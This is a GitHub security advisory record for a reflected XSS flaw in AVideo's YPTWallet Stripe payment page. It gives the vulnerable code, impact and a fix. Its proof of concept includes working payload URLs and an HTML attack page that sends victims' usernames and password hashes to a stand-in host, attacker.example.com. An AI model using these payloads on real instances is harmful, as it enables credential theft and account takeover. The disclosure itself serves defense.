{"id":"GHSA-pm37-62g7-p768","summary":"AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page","details":"## Summary\n\nThe YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST['plugin']` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework's input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.\n\nThe same script block also outputs the current user's username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials.\n\n## Details\n\nThe Stripe confirmation page renders the `plugin` parameter directly into a `\u003cscript\u003e` block:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n\"plugin\": \"\u003c?php echo @$_REQUEST['plugin']; ?\u003e\",\n```\n\nThis appears inside a `$.ajax()` data object within a `\u003cscript\u003e` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.\n\nThe `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified.\n\nImmediately adjacent to the injection point, the script also exposes user credentials:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118\n\"user\": \"\u003c?php echo User::getUserName() ?\u003e\",\n\"pass\": \"\u003c?php echo User::getUserPass(); ?\u003e\",\n```\n\nNo Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.\n\n## Proof of Concept\n\nThe XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*\n```\n\nThe injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block:\n\n```javascript\n\"plugin\": \"\"}})});alert(document.domain);console.log({/*\",\n```\n\nCredential exfiltration payload:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?\"(.*?)\"/)[1]),y:\"\n```\n\nSimplified credential theft using the same-page credential leak:\n\n```html\n\u003c!-- Host this on attacker.example.com and send the link to a victim --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n  // The confirmButton.php page outputs user/pass in the script block.\n  // XSS lets us read it directly.\n  var payload = encodeURIComponent(\n    '\",x:(function(){' +\n    'var s=document.querySelector(\"script\").textContent;' +\n    'var u=s.match(/\"user\":\"([^\"]+)\"/)[1];' +\n    'var p=s.match(/\"pass\":\"([^\"]+)\"/)[1];' +\n    'new Image().src=\"https://attacker.example.com/log?u=\"+u+\"&p=\"+p;' +\n    '})(),y:\"'\n  );\n  window.location = \"https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\" + payload;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nReproduction steps:\n\n1. Navigate to the basic XSS URL above (substitute your target instance).\n2. Observe the JavaScript alert box confirming code execution.\n3. View the page source to confirm that `User::getUserName()` and `User::getUserPass()` are present in the same script block.\n4. Use the credential exfiltration payload to demonstrate data theft.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:\n\n- **Immediate credential theft**: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.\n- **Session hijacking**: Steal session cookies and impersonate the victim.\n- **Payment manipulation**: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.\n- **Account takeover**: Combine the stolen password hash with the username for offline cracking or direct replay.\n\nThe lack of CSP headers means there are no browser-side mitigations against the injected scripts.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - Reflected)\n- **Severity**: High (CVSS 8.1)\n\n## Recommended Fix\n\nApply `htmlspecialchars()` to the `plugin` parameter at `plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116`:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n// Before:\n\"plugin\": \"\u003c?php echo @$_REQUEST['plugin']; ?\u003e\",\n\n// After:\n\"plugin\": \"\u003c?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?\u003e\",\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","aliases":["CVE-2026-34375"],"modified":"2026-03-30T18:26:22.349963Z","published":"2026-03-30T18:08:52Z","database_specific":{"github_reviewed_at":"2026-03-30T18:08:52Z","nvd_published_at":"2026-03-27T19:16:43Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34375"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pm37-62g7-p768/GHSA-pm37-62g7-p768.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"}]}